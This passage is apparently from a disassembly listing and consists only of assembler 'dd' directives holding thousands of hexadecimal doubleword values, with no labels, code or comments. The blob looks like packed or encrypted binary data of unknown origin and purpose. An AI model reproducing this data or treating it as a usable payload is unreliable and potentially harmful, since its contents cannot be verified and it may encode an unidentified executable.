		dd 8DD1C86Ah, 2370BD2Ch, 0C7A5F381h, 31A06080h,	4EC0943Eh
		dd 50BA2CBCh, 0ACD0660Ch, 7A2F4DE9h, 0A6E49AC8h, 0F2A43FB9h
		dd 0FE74089Bh, 0F098046Eh, 50240BD6h, 0A1F2B8F4h, 0D4021C3Bh
		dd 1B10D814h, 0A04E35FFh, 9C9DA85Dh, 16EDAA4h, 0F88B849Eh
		dd 69CCFA84h, 6A07C8C0h, 38051B13h, 50570645h, 6A28C070h
		dd 5AE6E506h, 4644520h,	1028289Bh, 2CB0891Ah, 9A065A53h
		dd 568C4F78h, 75F20757h, 8EC5C91Ch, 7F699916h, 1208FF11h
		dd 4D68A35Ch, 0BF639ED8h, 6029AC4Dh, 0FB714C8h,	5F3464D8h
		dd 0C470B5C9h, 0F41CCA45h, 0F22271Ch, 8BA85509h, 9D5E21A7h
		dd 6ADCE885h, 54C37E9h,	81077501h, 0C00DBB7Eh, 18C298EBh
		dd 0A9097402h, 0C45C167h, 6DCCB498h, 5950D6A6h,	6B9058BBh
		dd 80468A1h, 1A9027B8h,	3DB54911h, 0DB33043Ch, 3AE1036Ah
		dd 0FD40C888h, 18885902h, 12A55205h, 9F67549h, 629090F4h
		dd 7A26815h, 449B4961h,	705EF2ABh, 78238824h, 0DF8916B5h
		dd 4F363531h, 26963951h, 35287610h, 34F46825h, 6934B107h
		dd 3A9B99E4h, 0C30899B4h, 1F2DA934h, 601CB41Bh,	138868D1h
		dd 0BE482A91h, 0BE949127h, 2C3910C1h, 5CE57011h, 920CA2B2h
		dd 48BE0811h, 0AB9FC42h, 0CD7E0CEBh, 0B9D0F52Dh, 0B2C901Dh
		dd 959CC74h, 680312CFh,	98B57E4Eh, 0E31F824Fh, 246A2CD6h
		dd 0BC24A5FBh, 47499C0h, 209332FBh, 1006BDACh, 57420C81h
		dd 0ADAA237h, 482C02CDh, 0F33BEF40h, 0C60D7E24h, 6BDEB78h
		dd 74FDFE83h, 0D5ED0A25h, 854A051Ch, 0A149FA4Fh, 8B04C77Dh
		dd 0E03B0C98h, 0E96F997Ch, 0EBD8B87Bh, 0C4799202h, 88FF0919h
		dd 56428C78h, 220D8D0h,	0FCCE7DABh, 0DB033C45h,	4E54C3C7h
		dd 4E9A1389h, 9D66F0FBh, 0D19C1B5Ch, 6918FC46h,	0B7314338h
		dd 0C85C8C1Bh, 4C7535FCh, 9BA79818h, 608E105h, 6E044780h
		dd 0BD7495C4h, 56946A9Dh, 568A0E4Eh, 212BA1CAh,	0CC680410h
		dd 0E09C9CCDh, 24861792h, 0B10802A8h, 50313293h, 45A1C8BEh
		dd 47102711h, 0CAC4D4BAh, 53868934h, 7441A1EDh,	58882838h
		dd 51A91F95h, 89201091h, 0F9AB5907h, 0E8173C41h, 8B28EA75h
		dd 32A22CB5h, 45B19605h, 199D39CEh, 13A51834h, 0F8F28468h
		dd 0AA027h, 0EC4D78CBh,	5A1F6A13h, 9C8BDE83h, 2674AC80h
		dd 2D380E80h, 58842975h, 0FA38002h, 10270BEh, 84C61989h
		dd 54308F35h, 9F1C9256h, 6F0589Eh, 834A02h, 0D33B04E9h
		dd 9D38CC7Dh, 5809135Ah, 6CC18F74h, 840E16F8h, 9F350648h
		dd 3E80FC83h, 0E335DA0Ah, 57DA7AABh, 254C8F1h, 54C1B046h
		dd 423CEC17h, 850C90FFh, 0F250C468h, 5620A1EBh,	0C6FEBCFDh
		dd 9650FC97h, 8440454Bh, 0C6C22386h, 684F7A0Dh,	1E2535B0h
		dd 0E9500633h, 39BEA828h
		dd 850F1218h, 640B52BFh, 2D83C43Ah, 50143521h, 8B6A0DF9h
		dd 0AE2340ABh, 8114A9Ch, 2A327AF6h, 0E1433C98h,	75429423h
		dd 382C227h, 9C7CB556h,	0B94406CDh, 0B74D488h, 9F68404Dh
		dd 29A24E44h, 39EBCB18h, 0D88C70C8h, 0E1BB5332h, 94332949h
		dd 6817C5AAh, 0E0A96D80h, 0ABA8C78Bh, 61EF780Fh, 9CDE5403h
		dd 9B9BF87h, 7B2C412Bh,	0A465721h, 0FE5C4544h, 4CF70322h
		dd 0D97529F5h, 6D7844E4h, 4BA0D5D1h, 2C452854h,	1E382851h
		dd 11836AE1h, 85A65497h, 6613858Bh, 2F086774h, 5F2BBC7Ch
		dd 0C8AC29EFh, 2147657Dh, 0FE1E8812h, 681337CCh, 969ACD58h
		dd 0E24A1441h, 0E4486814h, 0B21B34F4h, 459559B1h, 432CE1BAh
		dd 51426AA0h, 0F1F556Ah, 0D2F824B8h, 0D5AAE3CAh, 0D7188924h
		dd 3229A2DAh, 40EA8460h, 17F52E78h, 899378A6h, 0F14240F0h
		dd 62611208h, 0E240222Ch, 6A13903Ah, 2E8DA421h,	0C1A190B9h
		dd 0B0237424h, 27E5AC0h, 400665C6h, 0B8A83147h,	57DB2490h
		dd 25A009A1h, 608D45B4h, 75084D70h, 54E0AC56h, 0FCB0542Eh
		dd 4F552C75h, 0C3284ABBh, 460F6A12h, 6251D5A1h,	0A226B310h
		dd 207D008Bh, 1F38F633h, 93AE1374h, 74C05742h, 0C7814614h
		dd 0CBC060A2h, 0DD587C03h, 1258258Ah, 4A71D79h,	0A3E17408h
		dd 8BBB62C8h, 30AA7F8h,	0CEFD0F7Bh, 0C877857Eh,	0E6C169D0h
		dd 333C907h, 38680102h,	69561E49h, 0BA10C578h, 4A5534B5h
		dd 78694372h, 98EB240Eh, 0A3301143h, 4D22CE74h,	28E4F828h
		dd 0FF5812B2h, 0F2B1D0FCh, 0DE591E4Dh, 246884A0h, 8824919Eh
		dd 0ED8066C3h, 9125285h, 1FC7D14Eh, 680D1AA9h, 1A516304h
		dd 2C95CB87h, 8809BA20h, 473A061Ch, 0E4215B4Eh,	3D3449CCh
		dd 0BC856E86h, 0A42F82AEh, 49B1C651h, 948B270Ch, 0D940442Ch
		dd 0EC38A80h, 0BE43348Dh, 9A349DCh, 19D4BFC6h, 5086CA84h
		dd 2694DC87h, 0CCD0C562h, 5A34D06Ch, 88F54B75h,	28688744h
		dd 56452619h, 702A3CCFh, 324E8FD9h, 99665A2Ch, 45CC7C45h
		dd 46A1380h, 0E0A43589h, 8A54D8h, 848B02F6h, 45DA9435h
		dd 0B40750BCh, 0AEDC835h, 587910E8h, 0AFC503B2h, 943235B4h
		dd 5E223CC0h, 4CAA9402h, 54F92BD0h, 0BF5E0627h,	84954FBCh
		dd 570BE41Bh, 686C9C1Eh, 8A7C4521h, 0E863171Ah,	0BDF980F2h
		dd 0E6E09620h, 0C888682h, 0E4602C12h, 27C252F7h, 0E5808AA2h
		dd 3CB3AC53h, 1C8E32FCh, 2AA40842h, 300C0FF8h, 6D422191h
		dd 8C88B952h, 12485359h, 761A5E6Ah, 44581F5h, 52B3242Eh
		dd 6898026Bh, 0FFF16563h, 8AD11517h, 1F418D8Bh,	97DC969h
		dd 0DC488188h, 0E8013E0Ah, 21E61042h, 1604685h,	73D326Ah
		dd 7015EA89h, 78077509h, 2F5CD07Fh, 1FFF7811h, 91AAAE84h
		dd 54928845h, 62C08A78h, 0C1057453h, 0CD5FCBCh,	9559EA59h
		dd 6664FB66h, 0B2E45F7Bh, 4A1E0C69h, 9C33EA18h,	79B369F4h
		dd 5801F6B4h, 0C9F14DB5h, 0F07085B8h, 0DEF720D0h, 24F6771Bh
		dd 0C1D804C6h, 578B06EBh, 0E3BC6408h, 61FB208Bh, 68576B26h
		dd 86C0277Ch, 5049FDFCh, 5807C8Dh, 1C742339h, 3AB4F5A1h
		dd 9168DE04h, 0CF0380Ch, 1351503Dh, 0C376CC60h,	9D584778h
		dd 0FF841421h, 0E5F4E1D2h, 644B4EB1h, 7F59A21Eh, 645F0A40h
		dd 2174C44Bh, 67CF7211h, 0D232496Bh, 30CB590Dh,	0B9946633h
		dd 723C314Bh, 847932DEh, 346CCBB8h, 0C47B0EF5h,	0A81B6A19h
		dd 2C1C91FBh, 67A4DFE0h, 6954A4ECh, 8F127BD5h, 0EC627145h
		dd 0D54C38D6h, 0D66C888Dh, 0D6F42354h, 3C13EBB9h, 0CB982623h
		dd 1B42546Ah, 0F0081888h, 0D54C50D6h, 8D60E086h, 54D6F008h
		dd 0D5167428h, 81D6FC22h, 66365DC5h, 60C43ED5h,	866179CBh
		dd 0FC11111Eh, 59B0D3CAh, 1481C8Dh, 53A058Ah, 8933D194h
		dd 24A68A0Fh, 3F92C7FAh, 47F8C80Ch, 107D2789h, 7041759Eh
		dd 42F43091h, 0ABCCC815h, 1A750B63h, 0A214929Fh, 305D1922h
		dd 33129912h, 0D41DBF60h, 89D945Dh, 26019E8Eh, 0F5281205h
		dd 7AF3720Bh, 15C3DBB9h, 0B8302481h, 3B47859Fh,	7C2C053Dh
		dd 17AB4CDFh, 0CD5FCCF4h, 0DCE65C64h, 0EC78FA64h, 0D8A14D0h
		dd 34698FBAh, 48880A31h, 124C0F02h, 8F8D1A03h, 0FD71B7B8h
		dd 4C08302h, 5447B51h, 0D6B03544h, 0F4EF165h, 4A147823h
		dd 0ECB8D8F1h, 8B97CA42h, 0BD84E7Bh, 42748014h,	395A8B64h
		dd 8D3BEDC0h, 9BB2A487h, 45943965h, 6430ADF4h, 0FC70FF33h
		dd 162D5CDFh, 0A7507175h, 0E96CB644h, 42A8EB75h, 94973475h
		dd 0B4459261h, 0C017262h, 0A16E9D88h, 18513D0Dh, 0EC284DFCh
		dd 414246Dh, 34B82047h,	2439498Fh, 10C548C8h, 0C4F88B8Ah
		dd 821FE871h, 0F0078B19h, 9D13523Bh, 0EF600AF4h, 0B27F005Fh
		dd 0FD3885C7h, 2969B7B4h, 9819141Ch, 25395FE5h,	0F1730D5Eh
		dd 18728035h, 68087D8Bh, 57DDCAE4h, 5157A442h, 66125DDCh
		dd 0D46815C7h, 0D353C911h, 849E4359h, 68C85A21h, 0A6401981h
		dd 1CDD611Ch, 0B851BF11h, 67BD1B0Bh, 2308F5F4h,	48BBA814h
		dd 50AD618h, 4ACC046Ah,	6997A45h, 0A76D1DB4h, 0BD801C0Ah
		dd 7C300514h, 39092009h, 6A29167Eh, 0B0912803h,	0AA5E72DAh
		dd 8432B1D1h, 11157E14h, 8C88F4E7h, 144EEB9Fh, 9F60C38Ch
		dd 8180F1A7h, 44958820h, 0F292516h, 9D926DBBh, 289D007Dh
		dd 9C950C6Ah, 70AF2FD0h, 6C005A2h, 1851FB56h, 8F94F526h
		dd 26F80FA9h, 0E242F930h, 0BE8E44BFh, 0A9576483h, 5457E2A7h
		dd 0C12D293h, 0A7C7598Bh, 0A292B4AFh, 8A8FFA35h, 4393FB21h
		dd 75B8184Dh, 8C4E8BE9h, 1884E332h, 7290CB3Bh, 5180194Ah
		dd 1303C183h, 8D8B0889h, 0A88330F7h, 725815B9h,	0A447846Ch
		dd 91155D8Ah, 2009E1A0h, 1FF4C40Bh, 433C9822h, 0C494233Dh
		dd 3C8C3228h, 88230443h, 111EEFC2h, 0D0211E80h,	0BBE27C91h
		dd 211E7019h, 0E26C918Dh, 1E641978h, 881D6510h,	32BCF360h
		dd 3B433C54h, 26C44C23h, 213C4032h, 3C111C0Bh, 81BF6E1h
		dd 44248D2Ch, 6AF43025h, 24683706h, 0A3105433h,	6E984CD3h
		dd 0A13E7552h, 4081A96h, 811015ADh, 2FC9F8C5h, 8192353h
		dd 0A78AC9E8h, 0DC102961h, 428C09F8h, 297C42CCh, 3D129C0h
		dd 1087B018h, 1125F8A8h, 21C99C68h, 3E80C490h, 81B89079h
		dd 210E6029h, 680DF054h, 3C214842h, 83E34C4h, 4428680Eh
		dd 8710381Ch, 846810C3h, 0BC8F021h, 0B0C3E43Dh,	44D46811h
		dd 1087C4C8h, 2112F8B8h, 0A010AC68h, 743494E2h,	50415E0Fh
		dd 0C59D2D9Fh, 69560C7Dh, 65047AD5h, 70A3FC75h,	0DFA25727h
		dd 0CAB45648h, 6DAE1E8Fh, 0C2174232h, 7C700434h, 16AC3F50h
		dd 1E815B90h, 3F910E64h, 3FD0D843h, 43CD0FADh, 420FA23Fh
		dd 442105ABh, 13243F3Ah, 531E20A0h, 3DF53F24h, 36211F7Fh
		dd 41342153h, 4A150AC7h, 5E344892h, 487592B7h, 8776C7A8h
		dd 947FAB91h, 0FE929D8h, 2129439Ch, 619EF2D0h, 0C4432986h
		dd 226C3DE5h, 0E8299023h, 842B305h, 9859C7A8h, 88D2CDEEh
		dd 90451697h, 86821568h, 55211EEFh, 40E27C91h, 7D4E7019h
		dd 14681F87h, 715848C7h, 89294E4Ch, 29450822h, 28E23410h
		dd 680B041Fh, 1C142220h, 10905EE7h, 2B9C159Ah, 0C4B04E15h
		dd 5A6CC6F0h, 73E84286h, 42289A58h, 95452115h, 1AA22AD4h
		dd 155ACC19h, 47BD0521h, 2214DA84h, 0C5433CB8h,	91C4AC23h
		dd 433CA832h, 0C49C237Ch, 3C983245h, 90233043h,	1113D3C2h
		dd 0BE211E8Ch, 9588C7BBh
		dd 0FE798064h, 211E7C19h, 0E2789134h, 1A70191Fh, 17417518h
		dd 14C68478h, 0FC2F54B8h, 0C930EE05h, 7551500Fh, 9AC4CCEBh
		dd 6650596Ah, 0C9B0F292h, 2A8E511Ch, 1E678DF5h,	2415E1D9h
		dd 19C4A215h, 8C211E1Ch, 77E21891h, 101E1419h, 639D106Fh
		dd 4325AC4h, 7029433Ch,	0C414108Fh, 0FB6DC5F8h,	3CF4229Ch
		dd 0EC23B043h, 0E83270C4h, 9997CE10h, 4A5B4574h, 0D12ADC15h
		dd 84154B0Ch, 0D4220EF7h, 0DC2213Ch, 0ADE2D011h, 211EC819h
		dd 0E1C49110h, 0B8080CFBh, 0C8C9108Fh, 32FCF3B4h, 86433CA8h
		dd 71C4A423h, 0F63C9C32h, 9447840Bh, 8C64D388h,	89ED3369h
		dd 338D8D0Ah, 0C5D66821h, 3E6C94EDh, 9D7249F7h,	0F85D3904h
		dd 0C0A21A75h, 0A4C55810h, 0C14F5A8Eh, 0FD332065h, 0EB0A8D89h
		dd 1D2E1503h, 0A640DE77h, 0C550089Ch, 66E65792h, 8EC2483Eh
		dd 0A36A936Ah, 0F8788134h, 24C48311h, 3FFA047h,	0AAB44C7Ch
		dd 0C15F8946h, 4CBC8B9Fh, 0FB0A3BADh, 0D0287D89h, 35EB1D0Ah
		dd 0A6111017h, 163CE1A9h, 29B48604h, 0CB155752h, 8442A855h
		dd 20C4F4E2h, 0F1901D89h, 8AA64C70h, 0D7AB5971h, 619E4410h
		dd 14BC374Dh, 81448688h, 2136EAECh, 0E8140A3Eh,	95691315h
		dd 43296528h, 842A460Ah, 0D42209FDh, 0CF715B4h,	9B108FC8h
		dd 86C4A3DEh, 433CB432h, 0C4B02337h, 3CA03222h,	1107D221h
		dd 19BDE298h, 1C101E8Ch, 0C4E39D06h, 3C783207h,	1104B821h
		dd 19A3E270h, 75121A64h, 4C7A7255h, 0A6749A12h,	49305972h
		dd 3FE9701Ch, 0C12FAA3Dh, 8C46488h, 56845535h, 0D0EC4C3Fh
		dd 7BAD48CCh, 15A1211Eh, 0CA21544h, 691A3819h, 8B0D5BF0h
		dd 3BD3C404h, 2182CC49h, 74E2C3F8h, 0C36EE915h,	7655741Ah
		dd 89AF19B3h, 7CF01490h, 0B343EC0Ch, 87C6604Eh,	85891B91h
		dd 18322F10h, 199812FCh, 239C02F8h, 9248CC68h, 205A786h
		dd 70E93464h, 947826C8h, 101E85F0h, 72C188A1h, 87F094D0h
		dd 10F0A042h, 42874B70h, 0A038C390h, 5C1960E2h,	3A085D89h
		dd 0ABAC328h, 0E7D721A0h, 0D0CAA2A9h, 83010845h, 19380BC1h
		dd 32B7F675h, 89813828h, 0B6A2055h, 8B878C2Eh, 72B8C825h
		dd 0F7992ECEh, 0D0BD3D17h, 466320ADh, 0E43BD199h, 5157337Eh
		dd 0BB5434CCh, 20A878A2h, 0F0722A88h, 0F8D0318Dh, 0C11D392Dh
		dd 0C7FA8618h, 491BCC85h, 14643E64h, 0A00548B8h, 15BC68FCh
		dd 41748BA1h, 3BE45A5h,	0F6788D27h, 57D84698h, 0E2945048h
		dd 0C6AF900Ch, 1E390340h, 1AEBE675h, 0C8964E40h, 0F586ED0h
		dd 0DE06E1C1h, 8DFE33A8h, 131FB46Ah, 8488763Bh,	2F024505h
		dd 0A42CCB82h, 48AE5E9Bh, 898FFC83h, 0D8AAF4B5h, 95881598h
		dd 718A7561h, 74007EE1h, 1BD8F656h, 256638C0h, 0B4054E7Ch
		dd 852D21A6h, 88A144F8h, 27701506h, 65224CBAh, 0AF30F7A0h
		dd 0C0330AD0h, 3359D38h, 950F306Ah, 8B8940DBh, 511D4AF0h
		dd 3BC22425h, 5D88F302h, 74227E2Fh, 0C61E0ED0h,	4D1D780Ah
		dd 0FE1F0858h, 12F452Ch, 4DBE0F07h, 7CCE3B60h, 0AC369ADEh
		dd 3821F32Eh, 2D347DF1h, 5C32E9B0h, 94F74276h, 42E0221Fh
		dd 0D8B51001h, 0DDCBD86h, 0D4A63E91h, 58436827h, 0C494B791h
		dd 55741440h, 8489111Bh, 9EB6F830h, 6E3209Dh, 91309D88h
		dd 1352A01Bh, 0C8C34CB8h, 0FD04040h, 76CC2882h,	228BA0E2h
		dd 0CC8BC18h, 4BB464B8h, 88285351h, 4254C2D4h, 82C880Bh
		dd 0A050F8C0h, 0A6A28CF7h, 0C088B847h, 124056F8h, 752DC4E4h
		dd 23B4CB25h, 99EEA7EEh, 17CEC25Fh, 1A48A04Eh, 565D78A6h
		dd 4C59F833h, 0B253E83h, 64D48792h, 0DCCC2D34h,	0C2602C68h
		dd 225E6007h, 0B8B5056Ah, 2B0A7E67h, 9164068h, 6066848Bh
		dd 5018B2A0h, 0DAE3BF4Eh, 0C5D2AC17h, 143F38A3h, 539317A7h
		dd 8BCBDCB8h, 0F0A8FB59h, 91754BA2h, 0BC245684h, 2537AED3h
		dd 55F278A1h, 49AE7F56h, 66D42DDFh, 0B89D3CAEh,	0D9A80FD0h
		dd 0F2C05E93h, 18D1ABD6h, 1CD54001h, 0AC08F344h, 92DAD242h
		dd 0C684302h, 5658945h,	0B4E11BE8h, 0A8100AD4h,	2197C4D2h
		dd 413EAC69h, 0D5482174h, 412C9B24h, 0C1D02174h, 0C5867E89h
		dd 0EFD02784h, 0DA8BBB9Dh, 0E00B9309h, 24A105EBh, 5A11907Ch
		dd 0C9348702h, 4279109h, 0E6940F11h, 26222243h,	11742648h
		dd 0ADC8929Ch, 82D19237h, 22882BEBh, 6812B60Ch,	64EF5E24h
		dd 138FF948h, 60B8FB38h, 0F34E1CD0h, 76789A2Ch,	0BC80E0C8h
		dd 1BC22F05h, 9E75595Ch, 6B88FE17h, 0A7BA319Ch,	240C5761h
		dd 6182C508h, 53DAA43Eh, 82F8C5B0h, 0B351FC71h,	42984415h
		dd 345E4C43h, 5F941940h, 42BBBE24h, 59069AAAh, 94098E65h
		dd 107615C1h, 220A203h,	2114C93Ch, 0D684C5A4h, 0A43D40FAh
		dd 2174FF3Eh, 61DAC950h, 7C7AC1C3h, 0A99E0C49h,	24458F42h
		dd 618C9157h, 80A20AA3h, 0D8089628h, 24DA24E7h,	75C3C2A3h
		dd 201B1655h, 6A24E698h, 79EB0940h, 8DC9B467h, 225565C6h
		dd 45D834C6h, 3DEA16AFh, 18289140h, 5E3B995Ah, 4A655148h
		dd 0E7EC104Bh, 665C5F90h, 8430142Ah, 0E858A184h, 645145DAh
		dd 9212B1Ch, 14E7DCE2h,	9EE61421h, 0F641104Eh, 0D0C7913Eh
		dd 3B84E7F0h, 8577FED0h, 18C0E0C2h, 8B23372Dh, 88F31DB4h
		dd 0EB625608h, 96EF5907h, 12B7F221h, 91E85790h,	64B4FC8Bh
		dd 751AAD30h, 0E1A17633h, 411DC93Fh, 28D0FF73h,	68070C6Bh
		dd 77EBA7BCh, 790500Ch,	8A64FC05h, 1853E359h, 85FB5B71h
		dd 32A92899h, 0EEDA0840h, 0D35E8414h, 0BFC9542Dh, 621AD00Bh
		dd 0EF237789h, 43CAA0EFh, 3F3205BFh, 0CBCB0A6Ah, 0BFB4B662h
		dd 2B2C2125h, 0DB915101h, 0F899C52Fh, 8C680ACFh, 6C67A2BFh
		dd 0B658BC79h, 8CE74900h, 87E9195Bh, 27F838D1h,	0C595C41Dh
		dd 0F6603245h, 821D464Fh, 19CF5F01h, 202DDF83h,	9FBB5215h
		dd 8629B9E5h, 92915C69h, 19896709h, 63BFBBDCh, 0F4518047h
		dd 73C73B40h, 0D1918309h, 1655FD0Eh, 9D1313E2h,	543D2CD8h
		dd 792ABF4Fh, 0B22EE992h, 9C6F124h, 3216276Ah, 0C6532558h
		dd 0A646DED3h, 0B6344283h, 57C2D63h, 0F43CEE38h, 0E9C14885h
		dd 0F438AA02h, 0C41EF2D3h, 6C4AA661h, 0B18BC81Ch, 0D80C09Dh
		dd 68561B74h, 87B6BF2Ch, 7F8E5D7Ah, 0D0C8F4C8h,	412A10E4h
		dd 0E48A3EAAh, 53BC9864h, 0D4380D63h, 689E7437h, 0A1F443BCh
		dd 3B08F4CCh, 0D26E4987h, 6139BE4Eh, 0BE2FEF11h, 0BC8F9333h
		dd 343CBD90h, 0AFBA7C85h, 27779576h, 0D1FBA678h, 4BCD8729h
		dd 8F9F5501h, 0BA22D021h, 0AB14A4A3h, 0F62B2DEBh, 2E245006h
		dd 834355A2h, 8C222F1Eh, 1843BFAEh, 92AD7D48h, 66ACD838h
		dd 0BBD40FCFh, 9D88F402h, 6F49EA68h, 85E26334h,	0FBF95629h
		dd 3A421AA2h, 4FD71B57h, 101F7850h, 0E842E991h,	0D0D7F1E9h
		dd 238EE9E4h, 0F09EEAECh, 842DDB65h, 8ABE7468h,	7B2588BDh
		dd 2114EAD2h, 4B88E9E4h, 0EAE8D05Eh, 0EAF44287h, 85DC3510h
		dd 0BE3C68E1h, 5FF4D92Eh, 0C04C040Ch, 328E2468h, 0D7231023h
		dd 0B5F3A489h, 0F3A088C0h, 306C2CE4h, 6831818Ah, 0DC2EBE20h
		dd 21BCF7F0h, 5940590Eh, 0EB112834h, 0E2DC3106h, 0A5F1142Bh
		dd 3C286402h, 84F44224h, 2530F3A0h, 888740B4h, 0F074F424h
		dd 0DD2784F4h, 88939727h, 8062BDC4h, 0DF13DD91h, 1F4EACFBh
		dd 20E204CBh, 0FF1F5C20h, 376AB735h, 17A352CEh,	0BFEB7F13h
		dd 0B5273538h, 37316F49h, 3A22883Ah, 336DBD25h,	680FEB02h
		dd 90129664h, 0FE6A30EDh
		dd 68770FB9h, 0DF164C52h, 9164305Fh, 0C849415Ah, 78828C6Ch
		dd 229C1868h, 3F620FE1h, 5F53AD85h, 229EAAC2h, 16BCF038h
		dd 0A9A14943h, 0EC80EDDh, 0FF07BC9h, 0BC686827h, 0A363E09Dh
		dd 10241718h, 0C4211810h, 0EF63CF49h, 12EF8F96h, 3B32FA70h
		dd 623B7814h, 106A1760h, 176439F1h, 76DA2CA8h, 0EB0B7F73h
		dd 24A808DCh, 94A77424h, 7C82CAA5h, 36F89312h, 16ED1CA4h
		dd 0F9E0225Eh, 0DC68B5FAh, 64CD4E0Fh, 4A15D4A7h, 54BC9C08h
		dd 1138195Eh, 84FA4274h, 0CE31F9DCh, 74101A1Bh,	4284E8FAh
		dd 0D8B516FAh, 6011803Ah, 3338D2BCh, 64C19615h,	0A2239466h
		dd 231F93CDh, 2884A1C9h, 785AE524h, 8F665025h, 0E9F65684h
		dd 8ED0948Fh, 37DCD004h, 90BD630Fh, 0FEF71EDh, 0D42D55B7h
		dd 34F17C19h, 0DC574485h, 0E79956E9h, 64406A9h,	88803028h
		dd 7A3885F6h, 0EF1C1086h, 0F688F140h, 0F698840Eh, 0ED7AF21h
		dd 75BBF484h, 74E17AFDh, 768F2A17h, 58102658h, 0F4674AF5h
		dd 289671BFh, 0F44AD495h, 392A6C2Eh, 0D6899532h, 5C7F576Eh
		dd 6012C886h, 0EFE8B88Dh, 0DCB80D2Ah, 0C084020Fh, 51567B29h
		dd 0C4043322h, 0D028F554h, 6611F443h, 0F554A1A3h, 0F564840Eh
		dd 733A1A21h, 0B084A282h, 94CF72FEh, 0FB9BF084h, 8609C7B3h
		dd 23A50844h, 0D2F57443h, 52A5E4B0h, 5B130F24h,	553638EFh
		dd 60B28Ch, 0F8833F7Ch,	8B3A7D03h, 80205539h, 7E1C1C8h
		dd 39111C38h, 7493348Dh, 4FEDFC1Fh, 88A124B3h, 71958A1Eh
		dd 0F80887ADh, 867E63BAh, 49CC1621h, 0DE4972DEh, 0FF3546Eh
		dd 9D3EE22Ah, 0C7B432EFh, 3ABE4234h, 7984092Bh,	0D79892EAh
		dd 0F26CF489h, 0BAC86816h, 75C26AA3h, 5AD4397Dh, 680F7440h
		dd 0EEB6E70h, 0B902BBFh, 0C84973Ah, 4F0FAC58h, 183BD4B3h
		dd 9036B6DAh, 0E479E717h, 7214305Dh, 85B60F6Ch,	91111E51h
		dd 1CCA1D11h, 0F1DC4228h, 0BA167B0Ah, 16A499BDh, 90540614h
		dd 245A7857h, 0B67A8AF3h, 0E2501EF1h, 60891C53h, 5990B855h
		dd 9C0552C7h, 0ED9E7D48h, 2ABAECE1h, 0AA44602Ah, 0D19D5A24h
		dd 1BBA1C53h, 9265EF34h, 0AECCBE86h, 8BEC1826h,	9481CE5h
		dd 4B08110Ch, 5F8873D8h, 7870A2EBh, 0E6EC1026h,	8A39E5CBh
		dd 6425EB08h, 0E14EA856h, 5702EAF8h, 12361C42h,	0EC0BEFA5h
		dd 13D395B9h, 8425F308h, 1556EC14h, 37901536h, 6508D249h
		dd 147840BBh, 204287ECh, 361710ECh, 0B9AC4287h,	62AFE45h
		dd 48D9C7Dh, 1049EC84h,	0C4982317h, 3C8872D5h, 80237A47h
		dd 787263C4h, 4593E836h, 471C780Bh, 62B82DF0h, 0D5213258h
		dd 0C4754F11h, 35095C39h, 0DC6F7480h, 508A53F7h, 141AB277h
		dd 1678460Eh, 40AC066Eh, 342334A4h, 683C021Ch, 3867B944h
		dd 48F915AFh, 0A8401587h, 8BA975A3h, 0F0525584h, 0C4974EFFh
		dd 0A63CEAA4h, 3B742D50h, 3EB8AD49h, 4390FF63h,	8A420F79h
		dd 68095BD0h, 8AFEB92Ch, 2F6B2A56h, 0E828436Ah,	0DFB5460Ch
		dd 14B2C2FFh, 0FA101037h, 0B7B71011h, 0C2ADF0FFh, 0B8F80837h
		dd 0B0088877h, 56F8FFDBh, 59B8EC23h, 2C251BE4h,	740BF0E5h
		dd 534D1421h, 10B23DDCh, 0C82AD404h, 0C046DCCCh, 267031C8h
		dd 76202568h, 0B4956745h, 8DACB8BCh, 9C396684h,	665D7431h
		dd 9BB89711h, 3FB999C0h, 0F7E00F42h, 4886F962h,	8A5204E8h
		dd 68A42118h, 271CA192h, 0B98D1694h, 316990C4h,	10D4F783h
		dd 0A71DD37Bh, 4B2DAFEh, 43AA3F94h, 19EC4520h, 91EC1B32h
		dd 0FDB2D2C5h, 0BD52F917h, 0BA6790EAh, 84233B43h, 23A47548h
		dd 0A37B1FF2h, 0FC674827h, 0FA8DC870h, 572B50F6h, 580883C7h
		dd 0D2937A74h, 0E5B5271h, 8B7F24B4h, 9864290Ah,	5C0224F9h
		dd 22F3453Ch, 0B4FCDFACh, 2ADF1FE4h, 0FB441898h, 0F06E5B8Ch
		dd 0FA6147Bh, 8E546791h, 51424ADh, 4A1C7A50h, 0E8485953h
		dd 0F41FFDF4h, 0B88408EAh, 408A34D1h, 5B45E7F4h, 0BD5DD8EFh
		dd 0E0E34DC9h, 383C8F85h, 24A846D3h, 0B92C8887h, 943AA277h
		dd 41265F62h, 5A408776h, 3E48F504h, 1FB838B1h, 1FB838E1h
		dd 1AB838E1h, 0CF130C8h, 1AEB1EEAh, 1C7062A4h, 34D22FC7h
		dd 3B045762h, 0B743ECA8h, 0FDE04AAEh, 746C88B7h, 931BE88Eh
		dd 0D80E4721h, 113549D7h, 23FC40E8h, 93FCB7D8h,	0B7CC7851h
		dd 33758B87h, 28931445h, 4677EEDEh, 5D1CB2B7h, 3920F3B6h
		dd 45C7020Ah, 4D4A6C20h, 83EEA7F8h, 1FC7807h, 0C09B0D75h
		dd 5A0776F4h, 81AA8C50h, 0E3102CCBh, 0B97DBB06h, 488BB18Ch
		dd 0F659DA7Ch, 7E6D031Ah, 0B78C42E6h, 602AF17h,	5C109B51h
		dd 86888DB8h, 0B788C23Dh, 176F5336h, 0B2B8E411h, 68CD3B35h
		dd 478E1E2Eh, 3CEB84D4h, 533C8062h, 7C2317D4h, 0EB7483C4h
		dd 0A66CD978h, 2E705617h, 653B9284h, 7B1D78BBh,	5AE317A6h
		dd 3AB9112Eh, 0D117648Ah, 8F581CA2h, 0E3DF3D11h, 487226C4h
		dd 39FA233Ch, 0E3E24411h, 231E3C39h, 0E23891A2h, 979C388Bh
		dd 0CA5B918Dh, 44D12E34h, 17AD301Ch, 0C438C508h, 8EAE782Ch
		dd 6B882047h, 54781CE4h, 8414478Eh, 286737E2h, 81CCBF1h
		dd 0C87C118Fh, 1C65F104h, 0C4BA46C8h, 0A673671h, 4C5AD12Eh
		dd 0B646F817h, 0F4E425C8h, 478E0E78h, 350784ECh, 9510E862h
		dd 0D44E9D6Fh, 1734F029h, 0A22EE015h, 0D8179993h, 917C231Eh
		dd 390EE2D4h, 0F7111ED0h, 0F1C48833h, 3CF21D69h, 0B8235247h
		dd 7C04096Bh, 68B445E9h, 1E1EC15h, 0CE2B206Ah, 0B69410EBh
		dd 6A0C45A1h, 97A4B728h, 2C21AEEEh, 0F964ADF1h,	1C7517C0h
		dd 0BA9160BEh, 0E4A95DFh, 27F71CFFh, 66E68B06h,	0F0546195h
